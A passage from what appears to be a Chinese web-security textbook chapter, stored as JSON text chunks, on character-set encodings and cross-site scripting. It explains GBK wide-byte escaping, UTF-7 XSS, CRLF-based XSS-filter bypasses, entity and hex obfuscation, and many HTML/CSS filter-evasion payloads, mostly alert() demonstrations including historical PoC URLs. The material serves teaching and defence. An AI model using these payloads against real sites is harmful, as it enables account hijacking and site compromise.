    {"text": "1. 字符与字节 肉眼看到的一个文字或符号单元就是一个字符（包括乱码），一个字符可能对应1～n字节，1字节为8位，每一位要么为1，要么为0。 2. 字符集 一个字符对应1～n字节是由字符集与编码决定的，比如，ASCII字符集就是一个字符对应1字节，不过1字节只用了7位，最高位用于其他目的，所以ASCII字符集共有2的7次方（128）个字符，基本就是键盘上的英文字符（包括控制符）。 ASCII字符集表达不了拉丁系的字符，更表达不了东亚字符，所以各种演变出现了诸多字符集，如ISO8859系列、GB2312、GBK、GB18030、BIG5、Shift_JIS等，直到Unicode字符集出现，才看到了世界和平的曙光，但是各国的这些字符集还在沿用，不可能清零从头开始，所以这个字符的世界还是很混乱。 3. 字符集编码 这些字符集大都对应一种编码方式（比如GBK字符集对应了GBK编码），不过Unicode字符集的编码方式有UTF-8、UTF-16、UTF-32、UTF-7，常见的是UTF-8与UTF-7。"},
    {"text": "6.5.1 宽字节编码带来的安全问题 GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节，实际上只有两字节。 宽字节带来的安全问题主要是吃ASCII字符（一字节）的现象，比如，下面这个PHP示例，在magic_quotes_gpc=On的情况下，如何触发XSS？"},
    {"text": "<?php header(\"Content-Type: text/html;charset=GBK\"); ?> <head> <title>gb xss</title> </head> <script> a=\"<?php echo $_GET['x'];?>\"; </script> 我们会想到，需要闭合双引号才行，如果只是提交如下语句： gb.php?x=1\";alert(1)// 双引号会被转义成\\\"，导致闭合失败： a=\"1\\\";alert(1)//\"; 由于这个网页头部响应指明了这是GBK编码，GBK编码第一字节（高字节）的范围是0x81～0xFE，第二字节（低字节）的范围是0x40～0x7E与0x80～0xFE，这样的十六进制表示。 而\\符号的十六进制表示为0x5C，正好在GBK的低字节中，如果之前有一个高字节，那么正好会被组成一个合法字符，于是提交如下： gb.php?x=1%81\";alert(1)// 双引号会继续被转义成\\\"，最终如下： a=\"1[0x81]\\\";alert(1)//\"; [0x81]\\组成了一个合法字符，于是之后的双引号就会产生闭合，这样我们就成功触发了XSS。"},
    {"text": "这里有一点要注意，GB2312是被GBK兼容的，它的高位范围是0xA1～0xF7，低位范围是0xA1～0xFE（0x5C不在该范围内），把上面的PHP代码的GBK改为GB2312，在浏览器中处理行为同GBK，也许是由于GBK兼容GB2312，浏览器都做了同样的兼容：把GB2312统一按GBK行为处理。"},
    {"text": "上面这类宽字节编码问题的影响非常普遍，不仅是XSS这么简单，从前端到后端的流程中，字符集编码处理不一致可能导致SQL注入、命令执行等一系列安全问题。"},
    {"text": "6.5.2 UTF-7问题 UTF-7是Unicode字符集的一种编码方式，不过并非是标准推荐的，现在仅IE浏览器还支持UTF-7的解析，比如，Firefox从5版本就不支持UTF-7了。 UTF-7的存在是有历史原因的，感兴趣的读可以去维基百科上查阅。 IE浏览器历史上出现以下好几类UTF-7 XSS。 1. 自动选择UTF-7编码 在IE 6/IE 7时代，如果没声明HTTP响应头字符集编码方式或者声明错误： Content-Type: text/html;charset=utf-8 //声明字符集编码方式 Content-Type text/html //未声明字符集编码方式 Content-Type: text/html;charset=uf-8 //声明错误的字符集编码方式 同时，<meta http-equiv>未指定charset或指定错误，那么IE浏览器会判断响应内容中是否出现UTF-7编码的字符串，如果有当前页面会自动选择UTF-7编码方式，如下： <title>utf-7 xss</title> +ADw-script+AD4-alert(document.location)+ADw-/script+AD4- <div>123</div> 历史上，Yahoo和Google都因为这个而被XSS漏洞攻击过，它们的POC分别如下： http://search.yahoo.com/search?p=%2BADw-/title%2BAD4-%2BADw-script%2BAD4-alert(document.cookie)%2BADw-/script%2BAD4-&fr=yfp-t-501&toggle=1&cop=mss&ei=UTF-8&eo= euc //注：euc是错误的字符集编码方式 http://www.google.com/search?hl=en&oe= cp932 &q=%2BADw-script%2BAD4-alert(document.cookie)%2BADsAPA-/script%2BAD4-%2BACI- //注：cp932是错误的字符集编码方式 这是一种危险的机制，现在已经修补。 2. 通过iframe方式调用外部UTF-7编码的HTML文件 父页通过Content-Type或<meta>标签来声明UTF-7编码，然后使用<iframe>标签嵌入外部UTF-7编码的HTML文件，代码如下： <html> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-7\"> <body> <iframe src=\" utf-71.html\"/> </body> </html> utf-71.html的代码如下： <html> +ADw-script+AD4-alert('XSS')+ADw-/script+AD4- </html> 不过现在IE限制了<iframe>只能嵌入同域内的UTF-7编码文件，虽然曾经有通过重定向跳转到外域的方式绕过这个限制。 3. 通过link方式调用外部UTF-7编码的CSS文件 通过<link>标签嵌入外部UTF-7编码的CSS文件，此时父页不需要声明UTF-7编码方式，代码如下： <html> <title>123</title> <link rel=\"stylesheet\" href=\"http://www.evil.com/utf7.css\" type=\"text/css\"/> </html> utf7.css可以在外域，代码如下： @charset \"utf-7\"; body+AHs-x:expression(if(!window.x)+AHs-alert(1)+ADs-window.x=1+ADsAfQ-)+AH0- 4. 通过指定BOM文件头 BOM的全称为Byte Order Mark，即标记字节顺序码，只出现在Unicode字符集中，BOM出现在文件的最开始位置，软件通过识别文件的BOM来判断它的Unicode字符集编码方式，常见的BOM头如表6-1所示。"},
    {"text": "相关解析软件如果发现BOM是+/v8，就认为目标文档是UTF-7编码，IE曾经出现的漏洞就是：以最高的优先级判断UTF-7 BOM头。 这样只要能控制目标网页开头是UTF-7 BOM头，后续的内容就可以以UTF-7方式编码，从而绕过过滤器。"},
    {"text": "6.5.3 浏览器处理字符集编码BUG带来的安全问题 历史上所有的浏览器在处理字符集编码时都出现过BUG，这类安全问题大多是模糊测试出来的。 在此不打算一一列举，不过有一点需要特别说明的是：标准总是过于美好，比如字符集标准，但是每个浏览器在实施这些标准时不一定就能很好地实施，所以不要轻信它们不会出现BUG。"},
    {"text": "6.6 绕过浏览器XSS Filter 目前，主要是IE和Chrome两大浏览器拥有XSS Filter机制，不可能有完美的过滤器，从历史上看，它们被绕过很多次，同时也越来越完善，但是总会有被绕过的可能性，绕过的方式同样可以通过fuzzing技巧来寻找。"},
    {"text": "XSS Filter主要针对反射型XSS，大体上采用的都是一种启发式的检测，根据用户提交的参数判断是否是潜在的XSS特征，并重新渲染响应内容保证潜在的XSS特征不会触发。"},
    {"text": "6.6.1 响应头CRLF注入绕过 如果目标网页存在响应头部CRLF注入，在HTTP响应头注入回车换行符，就可以注入头部： X-XSS-Protection: 0 用于关闭XSS Filter机制，这也是一种绕过方式。 比如，某网站的页面可以写如下请求语句： http://x.com/xx.action?id=%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0ax%3Cscript%3Ealert(1);%3C/script%3Ey 这段URL如果在urldecode后是如下内容： http://x.com/xx.action?id= Content-Type: text/html X-XSS-Protection: 0 x<script>alert(1);</script>y 响应回来的内容会如下： HTTP/1.1 404 Content-Type: text/html X-XSS-Protection: 0 x<script>alert(1);</script>y Server: Resin/3.0.19 Pragma: No-cache Cache-Control: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Language: zh-CN Content-Length: 0 Connection: close Date: Thu, 07 Jun 2012 06:39:16 GMT 6.6.2 针对同域的白名单 严格地说，针对同域的白名单机制不是绕过，而是浏览器的性质，这种性质给反射型XSS的利用提供了便利，IE和Chrome在这个机制上不太一样。 1. IE的同域白名单 IE会判断Referer来源是否是本域，如果是，则XSS Filter不生效，比如，xss.php的代码如下： content:<?php echo $_GET['x'] ?> referer:<?php echo $_SERVER['HTTP_REFERER'] ?> 如果直接请求： http://www.foo.com/xss.php?x=<script>alert(1)</script> 会被IE XSS Filter拦截下来，如果是通过同域内的<a>链接点击过来的，或者<iframe>直接嵌入，由于Referer来源是同域，此时XSS Filter不生效，代码如下： <a href=\"xss.php?x=<script>alert(1)</script>\" target=\"_blank\">xxxxxxxxxxx</a> <iframe src=xss.php?x=%3Cscript%3Ealert(1)%3C/script%3E></iframe> 2. Chrome的同域白名单 Chrome的同域白名单机制和IE完全不一样，用法如下： http://www.foo.com/xss.php?x=<scriptsrc=alert.js></script> 如果是<script>嵌入同域内的js文件，XSS Filter就不会防御，这个受CSP策略（有关CSP的内容，可以参考10.1.2节）的影响。 6.6.3 场景依赖性高的绕过 1. 场景一 我们发现一个反射型XSS的参数值出现在JavaScript变量里，格式如下： <script> var a='[userinput]'; ... </script> 提交xxx.php?userinput=';alert(123)//，得到如下语句： <script> var a='';alert(123)//'; ... </script> 对于这样的场景，Chrome的XSS Filter就无法有效地防御了，IE却可以。 2. 场景二 安全研究员sogl发现的这样的绕过经测试，如果PHP开启的GPC魔法引号，那么下面这样的URL可以绕过IE XSS Filter： http://www.foo.com/xss.php?x=<script %00%00%00>alert(1)</script> xss.php代码如下： <?php echo $_GET['x'] ?> 原因是：%00会被PHP转义为\\0，IE XSS Filter估计就因此被绕过，最终的输出结果是： <script \\0\\0\\0>alert(1)</script> 除此之外，还有以下一些特性： IE对DOM XSS没有防御策略，但是Chrome却有。 Chrome还支持注入data:协议的XSS，不过data:协议是空白域，不会对目标造成大的影响。"},
    {"text": "在实际的跨站中，我们往往不能随心所欲地注入代码，因为可能会有各种无法预料的过滤，有可能某些特殊字符被校验了，某些关键词被过滤了，从而导致代码不能够正常执行。"},
    {"text": "6.7.1 浏览器的进制常识 谈到代码混淆，在此有必要先来学习一下进制的常识。 在浏览器中常用的进制混淆有八进制、十进制和十六进制。 我们常常会在HTML的属性中用到十进制和十六进制。 十进制在HTML中可使用&#56;来表示，用&和#作为前缀，中间为十进制数字，使用半角分号（;）作为后缀，其中后缀也可以没有。 如果要用十六进制，则使用&#x5a;表示，比十进制多了个x，进制码中也多了a～f这6个字符来表示10～15，其中后缀也可以没有，而且x和a～f这几个字符大小写不敏感，这个后面会提到。 在CSS的属性中，我们也只能用到十进制和十六进制，CSS兼容HTML中的进制表示形式，除此之外，十六进制还可以使用\\6c的形式来表示，即使用斜线作为进制数值前缀。 在JavaScript中可以直接通过eval执行的字符串有八进制和十六进制两种编码方式，其中八进制用\\56表示，十六进制用\\x5c表示。 需要注意的是，这两种表示方式不能够直接给多字节字符编码（如汉字、韩文等），如果代码中应用了汉字并且需要进行进制编码，那么只能进行十六进制Unicode编码，其表示形式为：\\u4ee3\\u7801（“代码”二字的十六进制编码）。"},
    {"text": "非常幸运的是，我们无须用C语言或其他什么软件来进行进制编码和解码，JavaScript自身就带有两个函数可以处理这个事情：char.toString(jinzhi)（char为需要编码的单字，jinzhi为需要编码的进制，可以填写2、8、10、16或其他之类数字，有兴趣的朋友可以自行研究）、String.fromCharCode(code,jinzhi)（code为需要进制解码的数字，jinzhi为当前数字的进制）。 所以，我们可以编写自己的进制编/解码函数，示例如下： var Code = {}; Code.encode = function (str, jinzhi, left, right, digit) { left = left || \"\"; right = right || \"\"; digit = digit || 0; var ret = \"\", bu = 0; for (i = 0; i < str.length; i++) { s = str.charCodeAt(i).toString(jinzhi); bu = digit - String(s).length + 1; if (bu < 1) bu = 0; ret += left + new Array(bu).join(\"0\") + s + right; } return ret; }; Code.decode = function (str, jinzhi, for_split, for_replace) { if (for_replace) { var re = new RegExp(for_replace, \"g\"); str = str.replace(re, ''); } var arr_s = str.split(for_split); var ret = ''; for (i = 0; i < arr_s.length; i++) { if (arr_s[i]) ret += String.fromCharCode(parseInt(arr_s[i], jinzhi)); } return ret; }; 代码中建立了Code对象，并为其添加了encode和decode两个方法。"},
    {"text": "然后运行下列语句： Code.encode(\"Hello\", 16, '&#x', ';', 4); 将会编码成如下形式： &#x0048;&#x0065;&#x006c;&#x006c;&#x006f; 我们再运行下列语句： Code.decode(\"&#x0048;&#x0065;&#x006c;&#x006c;&#x006f;\",16, ';', '&#x'); 将重新解码成：Hello。"},
    {"text": "更多这方面的功能可以使用monyer在线加解密工具，网址如下： http://monyer.com/demo/monyerjs/ 该工具的使用方法很简单：在文本框中填入想转换的代码，在页面右下角选择好想要编码的进制、位数以及格式，单击Encode按钮即可，如图6-10所示。"},
    {"text": "图6-10 monyer在线加解密工具 下面举几个例子，HTML代码为： <img src=http://www.baidu.com/img/baidu_sylogo1.gif> 我们将img的属性src的值分别转换为十进制和十六进制的效果如下： <img src=&#104;&#116;&#116;&#112;&#058;&#047;&#047;&#119;&#119;&#119;&#046;&#098;&#097;&#105;&#100;&#117;&#046;&#099;&#111;&#109;&#047;&#105;&#109;&#103;&#047;&#098;&#097;&#105;&#100;&#117;&#095;&#115;&#121;&#108;&#111;&#103;&#111;&#049;&#046;&#103;&#105;&#102;> <img src=&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x77;&#x77;&#x77;&#x2e;&#x62;&#x61;&#x69;&#x64;&#x75;&#x2e;&#x63;&#x6f;&#x6d;&#x2f;&#x69;&#x6d;&#x67;&#x2f;&#x62;&#x61;&#x69;&#x64;&#x75;&#x5f;&#x73;&#x79;&#x6c;&#x6f;&#x67;&#x6f;&#x31;&#x2e;&#x67;&#x69;&#x66;> 当浏览器在运行这两行代码时，如果我们依然看到两张图片显示出来，那么浏览器自身已经对上述编码做了自动解码（6.2.1节已对该机制做过描述）。"},
    {"text": "其中的十进制编码设定了其最小位数为3位，所以不够3位的数值用0补充，这在实际的代码混淆中很有用，它可以用来绕过一些站点的过滤器，不过不同的浏览器对所能支持的位数有一定的要求，如IE只能支持最大7位数值，而对Chrome来说，设置位数无限制。"},
    {"text": "另外，由于进制方式对字母的大小写不敏感，后缀“;”也不是必需的，并且我们也可以将常规字符、十进制编码和十六进制编码字符混合，所以可以将代码混淆成如下形式，它依然是有效的： <img src=&#00000104;&#0116&#x74&#X00070;&#x3A&#x2F;&#x2fwww.baidu.com/&#105&#109&#103/baidu_sylogo1&#x2e;&#x67;&#x69;&#x66;> 接下来看一下CSS中的进制用法，代码如下： <div style=\"background:red\">1</div> 对其进行十进制编码和十六进制编码的效果分别如下： <div style=\"&#98;&#97;&#99;&#107;&#103;&#114;&#111;&#117;&#110;&#100;&#58;&#114;&#101;&#100;&#59;\">1</div> <div style=\"\\62\\61\\63\\6b\\67\\72\\6f\\75\\6e\\64:\\0072\\0065\\0064;\">1</div> <div style=\"&#x62;&#x61;&#x63;&#x6b;&#x67;&#x72;&#x6f;&#x75;&#x6e;&#x64; &#x3a;&#x72;&#x65;&#x64;&#x3b;\">1</div> 这里需要注意的是，如果使用“\\62\\61”形式进行十六进制编码，那么要注意将CSS属性名和属性值之间的冒号留出来，否则代码将不会解析。 同样，我们可以把以上三种编码方式混合到一个字符串中，达到如下效果，代码依旧可以正确执行： <div style=\"&#98&#97&#99kgr&#111&#117&#x006e;&#x0064;:\\0072\\0065\\0064;\"> 1</div> 接下来看一下JavaScript中字符串的进制用法，假设原始语句如下： <script>eval(\"alert('你好')\");</script> 其八进制和十六进制表示的代码如下： <script>eval(\"\\141\\154\\145\\162\\164\\50\\47\\u4f60\\u597d\\47\\51\");</script> <script>eval(\"\\x61\\x6c\\x65\\x72\\x74\\x28\\x27\\u4f60\\u597d\\x27\\x29\");</script> 其中，中文部分一定要使用Unicode的形式，即'\\u'加上汉字的十六进制编码。 另外，虽然十进制不能直接通过eval来执行，但可以使用String.fromCharCode函数先对数值进行解码，然后传递给eval执行，例如： <script>eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41,59));</script> 以上就是我们需要了解的浏览器端进制的常识，接下来学习浏览器的其他常见编码。 6.7.2 浏览器的编码常识 在JavaScript中，有三套编/解码的函数，分别为： escape/unescape encodeURI/decodeURI encodeURIComponent/decodeURIComponent 我们对字符串“<Hello+World>”用三种加密方式分别进行加密的结果如表6-2所示。 表6-2 三种编码函数加密的结果 加密方式 加密结果 Escape %3CHello+World%3E EncodeURI %3CHello+World%3E encodeURIComponent %3CHello%2BWorld%3E 我们发现三种加密方法近乎相同，不过实际上它们还是有少许区别的。"},
    {"text": "escape不编码的字符有69个： *、+、-、.、/、@、_、0～9、a～z、A～Z而且escape对0～255以外的unicode值进行编码时输出%u****格式。 encodeURI不编码的字符有82个： !、#、$、&、'、(、)、*、+、,、-、.、/、:、;、=、?、@、_、～、0～9、a～z、A～Z encodeURIComponent不编码的字符有71个： !、'、(、)、*、-、.、_、～、0～9、a～z、A～Z 另外，我们可以编写一个函数来使escape可以对所有的字符进行编码，代码如下： var ExEscape = function (str) { var _a, _b; var _c = \"\"; for (var i = 0; i < str.length; i++) { _a = str.charCodeAt(i); _b = _a < 256 ? \"%\" : \"%u\"; //u不可以大写 _b = _a < 16 ? \"%0\" : _b; _c += _b + _a.toString(16).toUpperCase(); //大小写皆可.toLowerCase() } return _c; } 这样我们可以使用eval(unescape(%61%6C%65%72%74%28%31%29));的形式来绕过过滤器对某些关键词的过滤。"},
    {"text": "除了JavaScript提供的这三种加/解密方法外，我们还需要了解HTMLEncode、URLEncode、JSEncode、UTF-7编码、Base64编码的相关知识，这些内容将会在后面具体应用时深入探讨。"},
    {"text": "当HTML Filter做过滤时，同样是从这些维度出发的，对这些位置可能出现的XSS形式进行过滤，而我们要做的就是使这种过滤手段失效，将我们的代码插入到想要执行的地方。"},
    {"text": "如HTML标签是不区分大小写的，我们可以全部小写： <script></script> 也可以全部大写或者大小写混合： <SCRIPT></ScRiPt> 这对代码的运行没有丝毫的影响，但是这样会阻碍过滤器对关键词的识别。"},
    {"text": "如在IE 6下可以构造如下代码： <XSS STYLE=\"xss:expression(alert('XSS'))\"> 如果对方站点的HTML过滤器是基于黑名单的，很明显，<XSS>标签不在名单之列，使得插入的代码得以被绕过。"},
    {"text": "通常情况下，黑名单的过滤器总会留下漏网之鱼，当然，这类标签都是不常用的标签，例如，以下几个就比较少见： <isindex PROMPT=\"click picture\" action=\"javascript:alert(1)\" src=\"http://www.baidu.com/img/baidu_logo.gif\" style=\"width:290;height:171\" type=\"image\"> <BGSOUND SRC=\"javascript:alert('XSS');\"> <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\"> 另外，也可以尝试分析出过滤器的缺陷进行针对性的绕过，例如，对方的过滤器判断标签的方法为： /<([^>]+)>.*?<\\/([^>]+)>/ 那么当我们构造代码为： <<SCRIPT>alert(\"XSS\");//<</SCRIPT> 就不会被匹配到，当然，真实的过滤器逻辑会比这个复杂许多，我们可能需要相当长的模糊测试才能够分析出它的大概过滤流程，并构造独特的代码混淆方式。"},
    {"text": "另外，有些过滤器的HTML Parser很强大，会判断当前代码段是否存在于注释中，如果是注释，则忽略，这样做的目的是为了维持用户数据的最大完整性，但是却给了我们可乘之机。"},
    {"text": "如有些过滤器的判断注释的方法为：<!--.*-->，但注释可以这样写：bbb<!-- aaa <!--aaa--> ccc-->bbb，这样，“ccc”代码就暴露出来可以执行了。"},
    {"text": "而与之相反，有些HTML Parser不关心是否有注释，只关心HTML标签、属性、属性值是否有问题，如标签是否是<script>，属性是否是JavaScript事件，属性值是否是伪协议等。"},
    {"text": "但是由于注释优先级较高，我们可以构造以下一段代码： <!--<a href=\"--><img src=x onerror=alert(1)//\">test</a> 扫描器忽略了HTML注释后，会认为下面这段是一个完整的HTML语句： <a href=\"--><img src=x onerror=alert(1)//\">test</a> 那么下面这段就被认为是属性href的值： \"--><img src=x onerror=alert(1)//\" 从而对这段代码进行放行。 但实际上对浏览器来说，<!--<a href=\"-->是注释内容，<img src=x onerror=alert(1)//\">则是一个完整的img标签，而onerror则成了一个独立的事件属性得以执行。"},
    {"text": "另外还有一种特殊的注释：IE HTML条件控制语句，代码样式如下： <!--[if IE]>所有的IE可识别<![endif]--> <!--[if IE 6]>仅IE6可识别<![endif]--> <!--[if lt IE 6]> IE6以及IE6以下版本可识别<![endif]--> <!--[if gte IE 6]> IE6以及IE6以上版本可识别<![endif]--> 这是IE所独有的，在其他浏览器看来与普通注释无异，但是在IE看来却是可根据条件执行的，这给我们绕过过滤器创造了可乘之机。 另外，如下两种条件语句也是可以在IE下被解析执行的： <!--[if]><script>alert(1)</script --> <!--[if<img src=x onerror=alert(2)//]> --> 在HTML语法中有标签优先级的概念，有些标签如<textarea>、<title>、<style>、<script>、<xmp>等具有非常高的优先级，使得其结束标签甚至可以直接中断其他标签的属性： <title><ahref=\"</title><img src=x onerror=alert(1)//\"> <style><ahref=\"</style><img src=x onerror=alert(1)//\"> 如上代码在不分优先级的过滤器看来是一个<title>或<style>标签，后面跟了一个<a>标签，那么如果标签和属性都是合法属性，代码就会被放行，但是在浏览器看来则是一对<title>或<style>标签和一个<img>标签，因为<img>拥有一个自动执行的onerror事件属性，使得我们放在事件中的代码得以执行。"},
    {"text": "如果过滤器将如上标签也过滤了，那么我们也可以尝试以下这些方式： <? foo=\"><script>alert(1)</script>\"> <! foo=\"><script>alert(1)</script>\"> </foo=\"><script>alert(1)</script>\"> <% foo=\"%><script>alert(1)</script>\"> 这些都是前人模糊测试的结果，前三种可在Firefox和Webkit浏览器中执行，第四种可以在IE中执行。"},
    {"text": "2. 属性 与标签相似，HTML标签中的属性同样也是大小写不敏感的，并且属性值可以用双引号引起来，也可以用单引号，甚至不用引号在HTML语法上也是正确的。 而且在IE下面还可以用反引号`来包括属性值，形式分别如下： <img src=\"#\">（双引号） <img SRC='#'>（属性名大写、属性值单引号） <img sRC=# >（属性名大小混合写，属性值不用引号） <img src=‛#‛>（属性值要用反引号包括） 此外，标签和属性之间、属性名和等号之间、等号和属性值之间可以用空格、换行符（chr(13)）、回车符（chr(10)）或者tab（chr(9)）等，并且个数不受限制，如： <img src =x onerror= \"alert(1)\"> 这样的混淆方法是可以在各大浏览器上执行的。 另外，我们还可以在属性值的头部和尾部（引号里面）插入系统控制字符，即ASCII值为1～32这32个控制字符，不同的浏览器都有各自的处理方式，如下语句： <a &#8 href=\"&#32javascript:alert(1)\">test</a> 是可以在IE、Firefox、Chrome下执行的，但语句： <a &#8 href=\"&#32javascript:alert(1)&#27\">test</a> 就仅可以在IE和Firefox下执行。"},
    {"text": "有时则会出现在属性值中，我们应想办法先闭合这个属性值，然后要么干脆接着闭合当前标签，要么设置一个可触发事件或自动触发事件属性来执行插入的脚本。"},
    {"text": "若属性值没有用引号，如： <font color=<?=$_GET['url']?> /> 那么我们利用起来就非常简单，使用?url=x%20onerror=alert(1)就可以使代码执行了，将变量合到代码中的形式为： <font color=x onerror=alert(1) /> 如果属性值是被引号包括的： <font color=\"<?=$_GET['url']?>\" /> 那么就只能看看能否构造自己的引号将已有的属性闭合： ?url=x\"%20onerror=alert(1) // 将变量合到代码中的形式为： <font color=\"x\" onerror=alert(1) //\" /> 但如果对方此时连引号也过滤掉了，或者做了HTMLEncode转义，那么既没有XSS安全隐患，也没有可以利用的方式。 不过这里目前至少有两个特例： <img src=\"x` `<script>alert(1)</script>\"` `>（IE 6） <img src= alt=\" onerror=alert(1)//\">（IE、Firefox、Chrome、Opera等） 两段代码中的可执行部分虽然看起来都在属性值中，但代码的确可以运行，这也是广大跨站师模糊测试的结果。 若我们所能控制的是事件属性，除了像上文所说突破当前属性外，最直接的手段就是直接插入我们的代码等待用户来触发： <a href=\"#\" onclick=\"do_some_func(\\\"<?=$_GET['a']?>\\\")\">test</a> 例如，对如上代码构造参数为：?a=x');alert(1);//或者?a=',alert(1),'，那么插入代码后的形式为： <a href=\"#\" onclick=\"do_some_func('x');alert(1);//')\">test</a> <a href=\"#\" onclick=\"do_some_func(\",alert(1),\")\">test</a> 第一段代码将之前的函数闭合，然后构造自己的新代码。"},
    {"text": "如果语句是一句话，可以直接写，如果是多句，则需要定义一个匿名方法，语句如下： <ahref=\"#\" onclick=\"do_some_func('',function(){alert(1); alert(2);} ,'')\">test</a> 另外，关于如何将多个语句合并成一个语句，我们在浏览器的进制常识中已经学到，就是编码。 例如，alert(1);alert(2);的十六进制编码如下： \\x61\\x6c\\x65\\x72\\x74\\x28\\x31\\x29\\x3b\\x61\\x6c\\x65\\x72\\x74\\x28\\x32\\x29\\x3b 那么就可以构造： <a href=\"#\" onclick=\"do_some_func('',eval('\\x61\\x6c\\x65\\x72\\x74\\x28\\x31\\x29\\x3b\\x61\\x6c\\x65\\x72\\x74\\x28\\x32\\x29\\x3b') ,'')\">test</a> 还有一个常识对我们来说非常重要，HTML中通过属性定义的事件在执行时会做HTMLDecode编码，这意味着即便我们的代码被转义成如下形式： <a href=\"#\" onclick=\"do_some_func('&#039;,alert(1),&#039;')\">test</a> 这段代码依旧是可以执行的。"},
    {"text": "这类属性一般都支持浏览器的预定义协议，包括：http:、ftp:、file:、https:、javascript:、vbscript:、mailto:、data:等。 在这些协议中，有些协议是网络交互协议，用来和远程服务器传输数据时统一格式，如http:、https:、ftp:等； 有些是本地协议，用来调用本地程序执行一些命令，我们一般称后者这种本地协议为伪协议，如javascript:、vbscript:、mailto:、data:等。"},
    {"text": "常见的支持资源属性的HTML标签如下（包括但不限于以下这些）： APPLET, EMBED, FRAME, IFRAME, IMG, INPUT type=image, XML, A, LINK, AREA, TABLE\\TR\\TD\\TH的BACKGROUND属性, BGSOUND, AUDIO, VIDEO, OBJECT, META refresh,SCRIPT, BASE, SOURCE 一个伪协议的声明形式为：协议名:数据，示例如下： <a href=\"javascript:alert(1)\">test</a> 其中，“javascript”为协议名，冒号“:”作为协议名和数据的分隔符，后面的全部是数据部分。"},
    {"text": "不过现在由于XSS的猖獗，很多浏览器已经把一些被动的（不需要用户交互，可直接随页面加载触发的）资源类链接的伪协议支持屏蔽掉了，比如： <img src=\"javascript:alert(1)\"> 也有一些没有屏蔽，比如： <iframe src=\"javascript:alert(1)\"> 由于IE 6浏览器在国内的市场份额依旧比较高，即便新版本的浏览器中不能够执行代码，覆盖到IE 6的用户对我们的攻击来说也是一次比较成功的XSS运用。 目前在XSS中常用的伪协议有三个：javascript:、vbscript:（协议名也可以简写为vbs:）和data:，前两者分别可以执行JavaScript脚本和VBScript脚本。 但是由于VBScript是微软所独有的，所以仅能在IE下执行，其他浏览器都不支持，而IE还不支持data协议。 同HTML标签和属性的特点相似，伪协议的协议名也是不区分大小写的，并且跟事件相仿，数据也可以做自动的HTMLDecode解码以及进制解码，所以我们可以有多种利用方法： <iframe src=\"jAvAsCRipt:alert('xss')\"> <iframe src=\"javascript:&#x61;&#x6c;&#x65;&#x72;&#x74;(&quot;&#88&#83&#83&quot;)\"> <IFRAME SRC=javascript:alert(String.fromCharCode(88,83,83))> 这个特性的增加给过滤器进行代码过滤增加了较大的难度。"},
    {"text": "如要过滤“javascript”关键词，那么不管我们提交的数据中的任何位置出现了这个字符，都会被直接替换掉，虽然表面看来似乎有种“宁可错杀一千，也绝不放过一个的派头”。"},
    {"text": "另外有几个不常用的属性也支持伪协议： <img dynsrc=\"javascript:alert('xss')\">（IE6） <img lowsrc=\"javascript:alert('xss')\">（IE6） <isindex action=javascript:alert(1) type=image> 有时在过滤器仅过滤了src和href中的伪协议时，我们可以用这种属性绕过。 还有一些常用标签的不常见属性： <input type=\"image\" src=\"javascript:alert('xss');\"> 很少有人用到input的type=\"image\"这个属性，这也将成为我们绕过过滤器的突破点。"},
    {"text": "表6-3 HTML事件 如果我们想知道对方的过滤器过滤了哪些事件属性，最简单的方式是用fuzzing机制，使用<div on****=\"aaa\">1</div>的形式将所有的事件都生成出来，然后试探目标站点都过滤了哪些。"},
    {"text": "当然，你也可以直接使用onabcd这样的假事件属性构造这样一个语句：<div onabcd=\"aaa\">1</div>，如果连这样的事件都过滤了，说明对方的过滤器可能使用了白名单，或者是把所有以on开头的属性全部过滤掉了。 有些事件的触发条件相对来说比较复杂，甚至需要其他因素，如数据绑定事件只能在IE浏览器下被支持，并且还需要有XML数据的支持： <xml id=EmpDSO onCellChange=\"alert(/onCellChange/)\"> <Employees> <Employee> <EmpID>E001</EmpID> </Employee> </Employees> </xml> <INPUT datasrc=#EmpDSO datafld=\"EmpID\" Id=\"EmpID\" Name=\"EmpId\" onbeforeupdate=\"alert(/onbeforeupdate/)\" onafterupdate=\"alert(/onafterupdate/)\"> 当文本框中的数据发生改变后，会依次触发onbeforeupdate、oncellchange、onafterupdate这三个事件。"},
    {"text": "有些事件的触发则需要给用户一些诱导因素，如ondrag事件需要用户拖动才能触发，但拖动并不是用户的常用动作，此时可以人为设计一个要素，要求用户参与时需要拖动，如图6-11所示。"},
    {"text": "图6-11 ondrag事件 我们插入图6-11这样的图片，这幅图片看起来像是一个iframe，用户会误以为滚动条是真的，于是向下拖动假的滚动条，然后触发了拖动事件。"},
    {"text": "另外，有时XSS点被限制在了固定的标签里，而恰巧标签本身没有主动执行的事件，如<input>标签，只能通过onchange、onclick、onmouseover这类需要用户交互的事件才能触发。 这使得我们的XSS攻击成功率变得很小，我们需要采取一些手段来提高XSS攻击的成功率，可以使用样式将目标标签变得很大，使得我们的事件很容易被触发： <input type=\"text\" value=\"1\" style=\"width:100%;height:1000px;position:absolute:top:0px;left:0px\" onmouseover=\"alert(1)\"> 或者尝试利用某些属性或者通过一些组合的方式使事件得以自动执行： <input onfocus=\"alert(1)\" autofocus> <body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br> <input autofocus> <input type=image src=http://www.baidu.com/img/baidu_sylogo1.gifonreadystatechange=alert(1)> 6.7.4 CSS中的代码注入技巧 本节的一些基本知识点在2.6节已经有所介绍，为了知识的连贯性，有些知识点我们会在此换个思路再提及一遍。"},
    {"text": "与HTML一样，我们可以将CSS分为选择符、属性名、属性值、规则和声明几部分，以一段CSS为例，代码如下： @charset \"UTF-8\"; body{ background:red; font-size:16px; } a{ font-size:14px!important; } 其中的body和a为选择符；"},
    {"text": "与HTML类似，CSS的语法同样对大小写不敏感，属性值对单双引号不敏感，对资源类属性来说，URL部分的单双引号以及没有引号也都不敏感，并且凡是可以使用空格的地方使用tab制表符、回车和换行也都可以被浏览器解析。"},
